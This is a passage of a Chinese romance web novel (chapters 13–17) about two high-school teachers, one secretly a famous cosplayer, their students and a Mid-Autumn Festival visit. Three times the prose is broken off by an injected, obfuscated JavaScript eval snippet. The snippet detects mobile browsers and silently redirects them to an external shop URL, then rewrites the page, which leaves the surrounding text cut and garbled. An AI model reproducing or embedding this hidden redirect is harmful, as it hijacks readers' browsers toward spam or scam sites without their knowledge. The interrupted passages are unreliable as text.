陶与晴很久没看新番了，顺着离玉的推荐，陶与晴点开了那部番，带上耳机。 可爱治愈的op闪现在眼前，陶与晴习惯第一集的时候看一下，过个新鲜感。 陶与晴没注意到，自己的蓝牙耳机并没有连上手机。 细小的声音从手机扬声器里传出来。 怎么没声啊，耳机坏了？ 陶与晴正想调高音量，音量键往上按了两格，前排的同学有些疑惑的侧耳听去，眼看他要一个劲越开越大声 邓留萤一拍桌子站了起来，惊醒了周围一片同学。 “陶老师！” 她一直没有午睡的习惯，所以午休的时候是醒着的，由于就坐在前三排的位置，从刚才就听见了一个有点熟悉的声音，但因为声音比较小，没听出来是什么。 抬眼一看，陶与晴带着耳机，却把手放在音量键上，逐渐想调大声音。 完啦！ 邓留萤舍生取义，所有人的目光此刻向她看齐！ 完啦——！！ 陶与晴吓了一跳，抬头疑惑的眨眨眼。 “我——”邓留萤半天没憋出个所以然，又不能立刻提醒陶与晴他的耳机没连上，“我那个、我——” 莫非此时只能期待神兵天降…… “邓留萤。” 一个低沉，但此刻却比天籁还动人的声音在后门响起来。 “你忘了，我中午交给你的事情了吗？”简璃以一个很自然的姿势靠在后门门框上，午休的同学被他帅了一脸，一时间忘记了刚才的插曲。 “啊对对对，”邓留萤脑子一转：“我忘了，我忘了，我刚要说这个，我我我我现在出来。” 虽然完全不知道到底是什么事情，但是不管三七二十一先把刚才的大喊混过去再说。 果然，剩下的同学都以为邓留萤是猛的响起简老师的任务，才忽然起立的。 她走之前，和简璃非常同步的做了一个动作。 那两个人看着陶与晴不约而同的指了指耳朵。 ……嗯？ 陶与晴下意识摸了摸自己的耳朵，以及里头的耳机。 耳机…… ……！！！ 吓得他手机差点没拿稳，迅速把音量全部关掉，取下耳机退出x站界面。 所以刚才……？ 差一点、就差一点——陶与晴就要和尸体差不多了。 他惊魂未定的在胸口画了一下十字。 “吓死我了，”邓留萤来到走廊拍了拍胸脯，说：“惊险。” 简璃抱臂：“困的话去办公室睡吧，我刚打算走。” “啊所以……简老师你……” 是故意解围的？ 刚才简璃走到前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277166|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门准备跟陶与晴打个招呼，说自己下午不来学校的事情。 没想到刚走到门口，就看见陶与晴手机里在放前两天自己看过的那个恋爱番，并且这个傻子完全没有注意到他耳朵里的耳机没亮，显然是没电了。 电光火石之间，邓留萤就站了起来，简璃默默绕到后门，做了个顺水人情。 邓留萤从未觉得简璃的形象如此伟大，以前只觉得他长得帅，像离玉，性格却非常魔鬼。 这明明是披着恶魔皮的天使啊。 十分钟左右，邓留萤回到了班上，午休结束，陶与晴靠在办公室的椅子上长长的叹了一口气。 世上还是好人多啊…… 太吓人了。 陶与晴默默和自己约定，以后绝不在班里看任何二次元相关，就算是午睡时间也不行！ 和他一起过来的邓留萤安慰他：“没事的陶老师，声音不大，我是因为没睡着所以听见了。” 当然，再大点就要吵醒全班同学一起来听恋爱番的op了。 陶与晴拍拍她的肩膀，说：“漫展我陪一个。” “！好啊，那……” “但是月考也要认真考。” “好好好，”邓留萤欢呼雀跃：“一定一定！” “回去吧。” “嗯嗯嗯！” 还有帮邓留萤解围的简璃…… 可是简璃是怎么发现的？而且邓留萤是因为看过这番所以比较敏感，能听出来、简璃应该不知道问题严重性才对，为什么会主动解围呢…… 他现在人不在，陶与晴无从盘问，只是发了个消息，问他晚上要不要一起吃饭。 陶与晴今天有晚自习，吃了饭还得回学校，如果简璃不在的话就去食堂应付一下。 但说实话，这学校环境和教资什么都好，规矩也不多，唯独这食堂实在是……有些一言难尽。 算得上健康，但绝对称不上美味。 简璃很快回复了一个好字。 陶与晴在办公室改完了作业试卷，又备好了明天的课，实在有些无聊。 他最终反复的检查，确定耳机和手机已经充好电连接上了，终于能把中午没看完的给续上了。 第一集介绍设定，这讲的是一个校园故事，但其实女主是地下偶像，机缘巧合之下男主撞破了女主的真实身份，两个人开始一段缘分。 这番节奏确实挺好的，把恋爱的那种小拉扯讲的甜蜜又酸涩，画风也不错。 怪不得离玉喜欢。 “看什么呢。” 陶与晴听见耳机外传来的声音，摁灭屏幕关掉耳机。 “啊，随便看看，你回来了？” 简璃不动声色的坐到他对面，说：“嗯，去哪吃。” “不想吃食堂……学校附近有家面馆不错，就是有点辣，你吃吗？” “可以。” “走吧。” 带了老婆便当往办公室走的高老师看着简璃陶与晴一起离开，摸了摸鼻子说：“这俩，还粘上了。” 走下楼梯陶与晴侧目看了看简璃，说：“中午的时候——” “凑巧路过，”简璃先发制人：“我看你耳机没开，只是顺手提醒了一下而已，你别多想。” 14. 第 14 章 总感觉这有点此地无银三百两的感觉呢。 好像根本没人问他吧？ 陶与晴看了看他：“那谢谢啦。” …… 简璃知道这件事深究下去对自己也没什么好处，便默不作声揭了过去。 两个人都丝毫没有意识到他们已经是随时约饭的关系，而这个关系在其他老师和学生看来有些微妙。 现在居然能看见这俩在学校门口的饭店里吃饭，对于没了解他们磨合过程的人来说确实很意外。 加上两位长得都很出众，隔壁班的小女生已经开始来班里打听他俩的关系了。 这俩开学时候大吵一架，可不止这一层的人知道，一传十十传百，几乎大家都了解这件事了，这段时间流言蜚语传了一阵子，什么三角恋都整过，陶与晴对此见怪不怪了。 等吧，等高三就不会这么闲了。 晚自习，陶与晴守在教室里，知道简璃动身去饭店给宁雨做思想工作，有些心不在焉。 简璃似乎是个不太会说话的人，让他去劝导，会不会适得其反？ 担心了整整一节课，收到了简璃的消息回复。 【他情绪不太稳定，但还算明事理，愿意配合申请助学金，之后打算来晚自习了】 “这么强？” 陶与晴喃喃自语了一句，回复简璃一个ok的手势表情。 还担心宁雨生出什么逆反心理呢。 陶与晴又问：【你怎么和他说的？】 简璃：【很简单，我告诉他这是你的意思，你希望他能去参加晚自习】 陶与晴：“……” 简璃：【你的温柔一刀挺管用的】 陶与晴扶额，有些哭笑不得。 估计也是这孩子没遇见过什么好老师吧…… “姜一安，”陶与晴小声对第一排的男生说：“你作为班长，学习成绩又好，以后带着点宁雨，督促他刷刷题。” 姜一安推推眼镜，点头：“好。” “如果有什么困难，你可以来告诉我。” “他不笨，我看得出来，”姜一安一本正经道：“就是脾气不太好。” “嗯，你们两个班委好好相处，”陶与晴笑容一凝，又温柔变成了威胁，看着后面那人：“赵遇京，把抽屉里的东西，给我拿出来。” “……” 赵遇京默默的把一包东西拿出来。 陶与晴起身收走，打开一看，发现里头居然是——游戏周边。 还都是同一个女角色。 他小子还是个单推人，还以为见一个爱一个呢。 “陶老师，”赵遇京捏着嗓子撒娇：“下课后还给我嘛，我这就拿回家去，我刚才真没玩我就是看看而已。” 他今天托朋友去实体店买到的，晚自习拿到手里还没捂热乎。 “事不过三，你这学期分心几次了都，”陶与晴把袋子收紧，说：“月考考好了再来找我拿。” “啊——” 邓留萤在后面幸灾乐祸嘎嘎乐。 收获了陶与晴温柔的一个眼刀，做了一个封嘴的动作。 课间，赵遇京痛心疾首追悔莫及。 “我老婆就这么没了，让我如何不心痛！” 姜一安在前排无情拆穿：“不是你自己非得在陶老师眼皮子底下欣赏吗。” 邓留萤：“就是就是。” 陶与晴在讲台上严肃的改作业，确实耳朵里听着这群学生的聊天觉得颇有意思。 那个游戏自己也玩过一段时间，开服的时候送很多免费抽，但陶与晴运气不好，之后抽不到什么好卡就退游了。 离玉出过里面的一个男角色，那个角色也成了陶与晴最喜欢的角色。 恰好邓留萤也是离玉的粉丝，他们谈及最喜欢的角色，和陶与晴不谋而合的想到了同一个。 赵遇京疑惑：“为啥喜欢他？” 邓留萤：“因为离玉老师出过那个角色可帅了！” “又是离玉，”赵遇京靠着后桌，双手放在脑后，说：“真有这么好看吗，我前两天刷到他老是觉得他长得像我们简老师，我想想都发怵。” “好看啊，离玉很好看啊，简老师不也很帅吗？” 赵遇京脱口而出：“那是离玉化了妆修过图吧？不如简……” 他话音未了，听见讲台上一声摔笔。 陶与晴盯着他：“赵遇京，这是你现在该讨论的事情吗？作为学生，要把心思放在学习上。” “啊陶老师我……” “不要一天到晚说这些有的没的，等你上了大学有的是时间让你说，你就算是说你要踩到人家头上去，我也不管你。”反正到时候我也听不见。 赵遇京似懂非懂的低头写作业，邓留萤给陶与晴比了个大拇指回到了座位上。 可恶！居然说离玉是化妆修图！ 离玉原图全部都是经他之手，原图好不好看陶与晴最知道了。 而且化妆也得有底子吧！离玉的化妆师不固定，次次都好看难道不是他本人好看嘛？ 陶·深度颜控·与·离玉激推·晴，坐不住了，并且要极力制止赵遇京说下去。 小孩子就要有小孩子的亚子，不要随随便便评论别人。 第二天，宁雨真的留在学校上晚自习，让陶与晴非常的欣慰，加上孩子们的学习态度都非常的认真，陶与晴自掏腰包买了一箱子月饼，中秋节之前给孩子们分发一下，简单过个节。 可是当他说出这月饼是什么馅的时候，听见了一阵哀嚎。 “又是莲蓉蛋黄的啊——” “陶老师，没有别的选择了吗？” 陶与晴打开那一箱月饼，笑着说：“有啊，你们可以选择不要。” 不要白不要，学生们马上变脸。 赵遇京更是说：“陶老师送的，就算是石头我也吃。” 陶与晴不动声色：“好吧，那我路边捡块石头给你吃吧。” “啊大可不必……” 众人：“哈哈哈哈哈……” 发完月饼还剩下一些，陶与晴打算给办公室的老师们发一发。 走进办公室一看，只有简璃坐在椅子上，其他几位不知道去哪了。 高中老师年轻的比较少，重高一般都是资历老的老教师，所以一般都有自己的家庭，估计这个时候已经准备回家明天过中秋了吧。 “你还在呢？”陶与晴递给简璃一个月饼，说：“你接下来没课，不早点回家吗？” 隐约 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简璃也是非常遗憾的打断了他的脑补：“父母健在，有个做空姐的姐姐，我家每人手里一套房，过的一直是小康生活，除了教育严厉点没什么缺点。” “……” 陶与晴抽抽嘴角，说：“那你不喜欢回家的原因是……” “每次回家他们都催我谈恋爱，要给我介绍对象，很烦恼。” 陶与晴为自己的自作多情致歉，并且第三次发誓不要同情这个男人，说：“月饼还我。” 简璃：“不是给我了吗？” “忽然不想给你了快还我！” “……出尔反尔？” “对啊，你把我咋的，还我。” 陶与晴夺回了自己的月饼，陶与晴战胜了简璃！ 简璃端起水壶，说：“我是怕你误会，解释一下。” 陶与晴愤愤不平坐在他对面的位置，勾起一个皮笑肉不笑：“下次再担心你一秒钟，我就是狗。” 简璃听见这句话，倒水的手一抖，微烫的开水弹了出来，手背下意识的一缩。 “哎！” 陶与晴站起来拽着他走到旁边厕所去冲手背。 “小心点啊也不知道看着点。” 简璃瞄了他一眼：“这水不怎么烫。” 陶与晴：“是啊，要不是你皮糙肉厚呢，只是红了一点真是烧高香。” 这么好看的手简璃你这个不懂得珍惜的！ “咳咳。” “嗓子不舒服？” 简璃：“狗。” 陶与晴：“……” 陶与晴抬腿踢了他一脚，转身走出厕所，关上门。 简璃在门里：“陶老师这是故意的吗？” 陶与晴在门外：“对，有本事你告到联合国去啊。” “开门，别闹了。” 陶与晴奇了怪：“你说开就开？你说少爷请开门。” “……”简璃关掉水龙头，无奈：“少爷请开门。” 陶与晴乘胜追击：“你再说，谁是狗。” “你。” “？” 简璃清清嗓子，认真道：“你说的，你是离玉的狗。” 15. 第 15 章 “……那是开玩笑的，而且不是我说的！听你说出来怎么还是那么想抽你呢？你少听点这种乱七八糟的，”陶与晴当然还是心软的打开门：“行了，我大人不记小人过。” 反正简璃也不知道这句话是什么意思。 厕所里面突然传来了一阵动静，一个隔壁班的小胖同学小心翼翼的打开隔间。 对着陶与晴和简璃连着鞠躬，说：“不好意思，老师，打扰你们了，我实在要上课了，不好意思不好意思，你们继续。” 他虽然身形不小，但走位非常灵活，一个拐弯就从门口溜走了。 刚才在厕所里这小胖硬是屁都不敢放一个，要不是上课铃声响了，这谁敢出来。 电视剧里撞破男女主角调情的，可都没什么好下场。 如果天上能下一道惊雷，陶与晴此刻一定被劈成两半。 回到办公室，陶与晴也没有和简璃说一句话。 太尴尬了！ 简璃不理解：“不就是被学生看见了，这有什么。” 回到办公室拿东西的徐老师：“？” 陶与晴心里掀翻了桌子，嘴上说：“你不要说那种让人误会的话啊！” 然后沉默了许久，没人不识趣的提起这件事。 一直到陶与晴收拾东西准备最后一节课，又看了看简璃，问：“你真的不过中秋吗？” “不过。” “行吧。” 陶与晴低头看工作群里，高老师发来了一堆鲜花礼物的图片并且附文【班里学生非要送的，哎】。 这老先生根本就是在炫耀吧？ 陶与晴其实也收到不少，但简璃的桌子上确实只有寥寥几朵花和几个月饼。 虽然说不是教师节，但是……这也太少了点。 大部分学生都不太敢靠近简璃，怕简璃说送礼不务正业。 实际上，简璃也确实这样说了。 “有这功夫还是多花在学习上。” “你这样很扫兴好不好，”陶与晴把礼物一个个收好，回他：“难道你小时候没有送过老师礼物吗？” 简璃说：“小时候送老师一毛钱一颗的糖，现在一朵花就要好几块钱，这不合算，难道现在的钱是大风刮来的吗。” 要是从这个角度的话的确……现在物价有时一言难尽，陶与晴去漫展想喝口水都得多花几块。 这些卖花的挑着节假日卖给学生或情侣，比平时贵出好几倍。 嘴上这样嫌弃，简璃实际上还是把那写小礼物收好了，陶与晴看见这一幕放心了不少，走之前对他笑了笑，说：“我晚点要回家，你自己回去吧不用等我了。” “好。” 简璃下午又没课，他在办公室里做完了工作还不走，显然是等着陶与晴下班呢。 因为两个人住的近，简璃又有车，送一下已经习惯了。 这话在其他老师耳朵里，可就变味了。 ……你俩发展成同居关系了都？ 徐老师见陶与晴走了，斗胆开口问简璃：“简老师……您和陶老师是……？” 简璃混迹二次元圈子许久，其中不乏有人拉他的各种cp，或是cos角色需要营业一下的，一眼就看出徐闻话里有话，并且误会了他们的关系。 “我们只是住的近，一起走方便。”而且陶与晴还是自己的粉丝，忍不住多照顾一下。 徐老师半信半疑，对简璃挥挥手说：“那我先走啦简老师，中秋节快乐。” “嗯。” 那边下午最后一节课之后，陶与晴嘱咐了两句注意安全的话，毫不拖泥带水的放了学。 中秋节回来就该准备月考了，其实学生们并没有很开心，不过还是迅速收拾东西一窝蜂的出了门。 陶与晴给家里人发消息说自己晚点回去，家里人也都在城内，不过稍微有点远，坐车大概半个小时，这路就不麻烦简璃了。 盘算着路线的陶与晴没有注意到，一只手从他背后伸出来，往他身上口袋里塞了个东西。 陶与晴回头，把宁雨逮了个正着。 小伙子别扭的脸一红，说：“……是饭店的大叔大婶说，中秋节要给老师送点东西。” 陶与晴朝他温柔一笑，抬手揉揉他的头：“谢谢，放假了要注意安全，作业乖乖完成。” 宁雨那脸更透红了，转身迅速跑走了。 陶与晴一摸口袋，原来是两根棒棒糖。 “看见没？宁雨给了陶老师什么东西？” “不知道啊，没看清楚，哎，不是说他中学的时候打架逃课，还顶撞老师吗？” “可能是陶老师性格太好了吧，差生也挑不出毛病，怎么办我一个男的也好想被陶老师摸摸头啊。 “你……噫——” “……你们这些女生能不能想点干净的？” “是我们不干净吗？是你们太gay了好不好！” 窃窃私语的学生互相打闹着下了楼，走到校门口看见一幕，眼睛直冒光。 陶与晴也走出校门口，一来就看见许多放学的学生都在往一个方向看，似乎那个地方有什么惹眼的存在。 陶与晴拿着两本教科书，疏散了一下差点拥挤起来的人流，学生散开他才看见这些人都在看什么。 简璃，长腿风衣，正靠在车前等人。 怪不得惹眼，这要是自己也得回头看三眼。 高富帅啊。 这身材是模特吧？到底能不能忽悠他接个cos委托，或者给自己当个假发模特也行啊！ 陶与晴晃了晃脑袋，走上前问：“你、你还没走呢？” “没什么事，送你过去，”简璃看了看手表，说：“现在不到五点，应该来得及，你家在哪？” “东邦花园……不对，不用了，我自己可以过去的、开车半个小时呢。” “半小时够了，上车。” 简璃起身，准备打开车门。 “等一下！” 陶与晴摁住车门。 “？” “送我可以，我有个、小请求。” “说。” “你能摘下眼镜吗？” “？” 陶与晴看着他摘下眼镜，把简璃拉到旁边墙角，然后掏出手机拍照。 “对，看我，你笑一下，啊对对对对对。” 离玉线下风衣模特版！代到了代到了！ 再代亿口，就亿口！ 好帅好帅好帅好帅…… “陶与晴……” 离玉喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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毕竟他没有穿常服出现在大众视野过，化了妆带了假发差别还是挺大的。 “哦对了。”陶与晴恢复平常的状态，从兜里拿出一根棒棒糖，拆开，伸手塞进简璃嘴里。 简璃猝不及防被塞了一块甜甜的东西，含糊道：“……什么东西。” “糖，小雨给我的，中秋节礼物，”陶与晴拆开另一个，塞进自己嘴里说：“好吃吧。” “还行吧。” 好像是桃子味的。 简璃又问：“他的性格，怎么会忽然给你糖。” “不知道啊，他慌慌张张的怪不好意思的，给了我就跑了，最近他作业完成的不错你发现没？” “发现了，”简璃点点头回答：“但字确实很丑。” “……喂、人家总得慢慢来。” “得安排他练练字了。” 陶与晴无奈的笑了笑，含着棒棒糖在简璃的车上闭目养神，听见手机一声提醒，拿起手机睁开一只眼睛看了一眼。 是邓留萤的消息。 而且还是条三十多秒的语音？ 陶与晴没把简璃当外人，反正他俩都是邓留萤的老师。 于是直接点开了那段语音。 “陶老师啊啊啊啊今天晚上离玉有直播活动！！你快去看宣传图美死了美神降临了！嘶哈嘶哈嘶哈，我是要做离玉老师纯爱战士的狗！老师你快——” 陶与晴听到这里迅速按了静音键。 16. 第 16 章 完了…… 这次是真死在音量上了…… 陶与晴偷偷去看了一眼简璃的脸色，对方目视前方，像是根本就没有听见刚才语音的样子。 看起来很平淡啊。 吓死了，还好简璃不在意这个。 不，其实简璃尴尬的想死，但依靠coser超绝的表情管理稳住了。 自家粉丝私底下是这样的吗？ 陶与晴点击语音转文字，看完了邓留萤的话，严肃的批评她不要在这里发癫。 然后，很诚实默默打开x站预约直播，被官宣图帅了一脸。 【扶光】：啊啊啊啊啊啊离玉！嗨老公，你是我的神！ 【扶光】：宝宝宝宝宝宝，亲亲亲亲亲亲…… 【向爱卿】：神经。 【向爱卿】：不要在这里发癫。 离玉今天要直播他怎么不知道？没听他提起啊…… 两个人聊天还停留在国庆的道具意见。 没有闲聊的功夫也可以理解，离玉也有自己的工作，陶与晴这段时间也在忙学生的事情。 但是本以为直播这种事情还是会通知一下的，结果并没有。 陶与晴试探性的发了条消息过去。 【扶光】：你今晚七点要直播？怎么不早说呀。 一直到简璃把他送到小区楼下，离玉都没回复消息。 陶与晴暂时把这件事抛之脑后，对简璃说：“真不上楼吃个饭再走吗？” “不了我不喜欢太热闹，”简璃看了一眼手表，说：“先走了。” “哎，”陶与晴没叫住他，他直接就上车离开了，只能自言自语道：“怎么火急火燎的……” 陶与晴没告诉父母自己今天晚上就到，他们都还以为是明天过来。 “来了来了，谁啊，”边雅丹打开门，顿时喜笑颜开：“儿子啊，你怎么今天就回来了？快快快，快进来……老陶，儿子回来了！” 陶炀坐在书房练书法，听见这个才把毛笔收起来。 “臭小子回来也不知道说一声啊，”陶炀开门走出来：“你妈和我都没买菜。” 陶与晴换了鞋子脱了外套，说：“没事儿，随便吃点就行，今天刚巧有同事送了我一程，今年单位应该也发了月饼吧？我怕吃不完就没买。” “别买别买，每次都剩一堆，”边雅丹接过他的外套，问：“同事来啦？怎么不叫上来一次吃个饭，就这么让人家走了？” “人家也要回家的呀，哎呀妈，你煮什么了？好香啊。” “随便煮了点汤，不来买了螃蟹给你明天吃的，既然今天来了就今天弄吧，老陶给我打下手，儿子去坐着，一会吃饭，饿的话先吃点月饼。” “呃……”陶与晴想到收到了这么多还没吃完呢，婉拒了：“我不饿，我等着吃饭吧。” 他定了一个七点的闹钟为了看离玉直播活动，不过这次活动不露脸，离玉作为一个过场嘉宾就是出来和大家聊聊天的，平台方也是因为他人气太高所以给了个单独的宣传位。 不过离玉的声音也很好听，能听他和大家聊天也是一种享受。 简璃的声音相比离玉要低沉一点，没有那么……活泼的感觉。 他要是稍微夹一点说不定就更像了。 约莫过了半个多小时，陶与晴收到了离玉的回复。 【离玉（碎了）】：我也是临时收到的通知，没来得及告诉你。 【离玉（碎了）】：不过我大概二十分钟左右就下线！不会耽误阿光过中秋节吧？ 【扶光】：怎么会！我已经预约啦，到时候我给你捧场去。 得知离玉只有二十分钟时间，陶与晴有些遗憾。 七点多，边雅丹把饭菜端上来，陶与晴这边正好打开直播守着。 “看什么呢？”边雅丹催促他洗手吃饭，问：“又是看你那个帅哥朋友呢？叫什么什么玉的那个。” “妈你真有眼光，”陶与晴洗好手，说：“他今天有活动，直播聊聊天。” 陶炀作为退休老教师，说：“叫离玉，我都知道。” 边雅丹给他夹了一筷子菜：“好好好，你是老师你记性好，我一个银行小职工比不得你。” “这名字起的不错，”陶炀摇摇头：“就是寓意不太好。” “我觉得挺好的啊，”陶与晴说：“离字又不一定是分开的意思，也有可能是离卦嘛，五行属火，依托玉石。” “你看你，说的头头是道的，当初我让你去教和我一样的语文你怎么不去。”陶炀说起这个，翻起老黄历。 陶与晴被见缝插针，低头吃菜：“那我喜欢数学呗……” “数学好啊，儿子随我，我当年就是数学最好，”边雅丹说：“你俩吃饭呢，尽搞这种文绉绉的，快点，不然菜凉了。” 陶与晴敏锐的在手机里听见离玉入场。 “直播间的朋友们大家好，我是离玉，提前祝大家中秋快乐。” 【啊啊啊啊啊离玉老师！】 【已经想象出自推的帅脸了！老师您好伟大的脸！】 【这熟悉的营业声线！好听爱听！】 直播间主持人说：“很可惜啊这次的中秋没有请老师来到现场一饱眼福，只能线上连线，不过没关系，我们这边抽取了一些网友和粉丝的问题，我们做个小游戏，到时候老师可以回答一下哦。” 线上的小游戏规则特别简单，在贡献了一些节目效果之后，主持人开始提问。 “网名叫【AAA好运锦鲤】的网友提问离玉老师：请问、离玉老师除了扶光老师以外，有没有找过其他手作大佬——我的天这个网友的问题，真是很犀利啊～那么离玉老师，你有没有背叛过扶光老师，请正面回答。” 陶与晴微微挑眉。 【好好好，这么问是吧？我们玉光是纯爱！！】 【主持人笑死我了，怎么就偷梁换柱成背叛了？官方带头嗑是吧】 【玉光官方营业次数真不少，毕竟是纯爱，只不过扶光老师不露脸所以热度不高，平平淡淡才是真】 【玉神快回答啊！急急急】 “这个嘛，不瞒你们说，扶光老师就在直播间，你们这样我可不敢乱说啊，”离玉透过麦克风，说：“当然是——没有，我的道具假发和后期，都只留给扶光老师一个人，如果他忙的话，你们就看不到我了。” 【啊啊啊啊啊啊啊如果这都不算爱】 【扶光老师！看我看我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277169|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我！】 【七年！七年从一而终的纯爱！比真夫妻还真！】 【扶光男的女的啊？他俩真的没在一起吗？】 【男女不知道，弹幕别问了，扶光的性别就是扶光，他不喜欢暴露三次元的】 【呜呜呜离玉不是一次表白扶光了，他俩私底下一定见过好多次了吧？】 简璃看见最后那个弹幕，眉头不动声色的抽了一下。 别说见面了，连个声音都没听过。 醒目留言：【离玉老师，我们的魔法师大人好久没更新了，要不您去吹吹枕边风吧】 “哦，”主持人看热闹心里美美的，说：“离玉老师啊，扶光老师的催更任务就交给你了哦！” “嗯，”离玉说：“我十月份漫展的道具他快做完了，应该很快就会更新了。” 这倒是提醒陶与晴了，他确实留着一堆素材没有剪辑了，已经三个月没更新了。 虽然他的手艺不是谁都能学得来的，但是他的教程还是能给不少手作老师启发，圈内地位有目共睹。 【他好懂他】 【玉神一如既往是扶光老师的唯一后门】 【啊啊啊我从老早就排队了呜呜呜呜还没排到我】 【我是扶光我也给离玉开后门啊，这么帅】 陶与晴傻笑两声，边雅丹和陶炀对视一眼，无奈的摇摇头。 儿子年纪轻轻工作体面，怎么就喜欢抱个手机傻笑呢，还老喜欢捣鼓那些五颜六色的玩意。 搞不懂搞不懂。 和离玉说的时间差不多，二十分钟之后要进行下一个环节了，陶与晴对接下来的环节没什么兴趣，于是退出了直播间。 【扶光】：直播我看啦～居然催更！太过分了(￣^￣)ゞ 【离玉（碎了）】：广大粉丝要求的呢。 【扶光】：【图片】 【扶光】：给你看看我家的饭嘿嘿。 【扶光】：你吃饭了吗？ 【离玉（碎了）】：还没有，刚才回到家就要准备直播什么的。 【扶光】：啊，那快去吃饭！别胃病了。 【离玉（碎了）】：嗯嗯。 陶与晴莫名想到简璃，担心他也没吃饭，发消息过去。 【陶与晴】：吃了吗？ 【简老师】：吃了。 【陶与晴】：吃的啥。 【简老师】：……面。 【陶与晴】：好吧，别骗我啊，我这么远，生病了没法给你收尸。 【简老师】：骗你干嘛。 简璃回完消息，在昏暗的房间里翻出胃药，灌了一口水。 ……点个外卖吧。 可惜他运气不好，外卖员送到一半餐撒了，赔了钱，得重新等。 简璃无奈的重新戴上眼镜，一个人也不太想出去吃，重新点了一份接着等。 等餐到了都快九点钟了。 胃里稍微有点难受，吃了两口东西压一压，这家店味道不咋地，还加了他不怎么喜欢吃的洋葱，简璃已经饿过了更没食欲。 这几天被陶与晴带着约饭养的挺好，一时间有些难适应忽然的营业和空荡的胃。 ……原来胃疼的感觉这么不好受。 17. 第 17 章 屋漏偏逢连夜雨，外头本来晴好的天气忽然雷声大作，不一会就下起瓢泼大雨了。 简璃喝了药吃了饭，早早的睡下，睡的并不安稳，任由胃里翻江倒海了一阵子，还好家里有点药否则也出不去。 下了一夜大雨，第二天忽然晴空万里，陶与晴辅导亲戚家的孩子写作业，还不忘监督自己班里的崽子们。 手机在群里发了几条消息，赶羊似的把熬了通宵的几个赶去睡觉。 胆子真是肥了，居然敢在班级群里毫不掩饰。 陶与晴想了想，把简璃的账号也邀请了进来，果然一众学生都老实了。 发现简璃进群了也没说话，估摸着他可能还没醒，眼看临近中午了，是不是该提醒他吃饭了？ 怎么搞得自己跟个老妈子一样…… 【陶与晴】：吃饭了没？ 【陶与晴】：还没起来？ …… 过了一会简璃回消息了。 【简老师】：刚醒。 【陶与晴】：好吧，记得吃饭。 【简老师】：你吃了吗，你也要记得吃 【简老师】：（贴贴.jpg） 陶与晴下意识想回个表情包，手指放在界面上突然愣住了。 陶与晴反复确认了一下ID。 简璃？！ 被夺舍了？ 【陶与晴】：你是谁，把账号还给他否则我报警了！ 简璃那边经历了昨晚的翻江倒海，并没有睡好，早上起来整个人迷迷糊糊，加上陶与晴和扶光说话语气实在是很相似，都是很直接的关心。 等洗了把脸回过神，仔细一看才发现发错了消息。 想撤回已经过去两分钟了。 简璃深呼吸一口气，拿出了作为百万粉coser的职业演技素养。 【简老师】：学生发我的，感觉挺好玩。 【简老师】：有什么问题？ 的确，这个语气才对味。 但是刚才那句“你也要记得吃”，确定是简璃本人发的吗？ 【陶与晴】：……没事，就是太可爱了不符合你的人物形象。 【简老师】：不是你说要融入学生吗。 简璃一招完美的甩锅，让陶与晴不知所措摸了摸耳垂。 【陶与晴】：啊这。 【陶与晴】：那……也是，嗯—— 一时间竟然无法反驳。 【简老师】：什么时候回，接你。 【陶与晴】：不用了吧，挺麻烦你了。 【简老师】：没事，我挺闲。 【陶与晴】：……好吧，我晚点回，到时候给你发消息。 简璃其实有点心虚，再怎么说陶与晴是自己的粉丝，还是应该好好对他。 ……至少对比邓留萤那小丫头，他还算收敛的吧？ 陶与晴下一秒正在用小号在离玉的动态底下留言。 【我就是喜欢离玉你跳吧】：我直接自信打招呼！！嗨老公！！！区区一根正面up我求教训！！ 【回复：您？】 【回复：这里是评论区，不是无人区】 【回复：老师您？】 【回复：这世界上没有您在乎的人了吗】 本来都是惯例的整活和抽象，陶与晴发完也没管这么多，中午和亲戚朋友吃过饭以后，陶与晴打算回家赶一下道具和假发，就提前给简璃发了消息。 “爸妈我先走了，家里还有点事。” “不吃晚饭啊？带点吃的走不？要不让你爸送送你？” “不用不用，我同事一会来接我，我俩一起回去。” 边雅丹一拍手说：“这么好的同事，辛苦人家来回跑怎么行，快快，拿点菜拿点东西送人家。” “妈，他不做饭的，没事儿，我请他吃顿饭就行，您别担心。” “哎呀好吧好吧，下次记得叫人家来家里吃饭。” 半个小时之后，陶与晴接到了简璃的消息，收拾收拾东西就下楼了。 小区门口，简璃开着车停在路边，陶与晴拉开副驾坐下，问：“要不先去吃点东西吧？你中午吃的什么。” “出门的时候随便吃了点，还不饿。” “好吧，那晚点再说，我回家有点事，晚上一起吃吗？” “可以。” 简璃开车很稳，陶与晴拿出手机发现自己那条发癫的评论居然回复99+，一般来说一条整活的评论而已还不至于能有如此多的回复。 点进去翻了翻才发现，原来这条评论因为点赞太高被离玉看见回复了，底下的评论纷纷看热闹。 【离玉回复】：？ 短短一个问号，陶与晴直接红温了。 还好是用小号，要是不小心切错号了都不敢想。 在小号上发癫应该很正常吧？不止自己一个人的吧……只是没想到居然能以这种方式被离玉回复。 “你……”简璃余光里看见陶与晴的表情，奇怪道：“车里很热？” “被男神回复了，但是……”陶与晴闭了闭眼，选择在简璃面前留点面子给自己：“没什么，你不懂。” …… 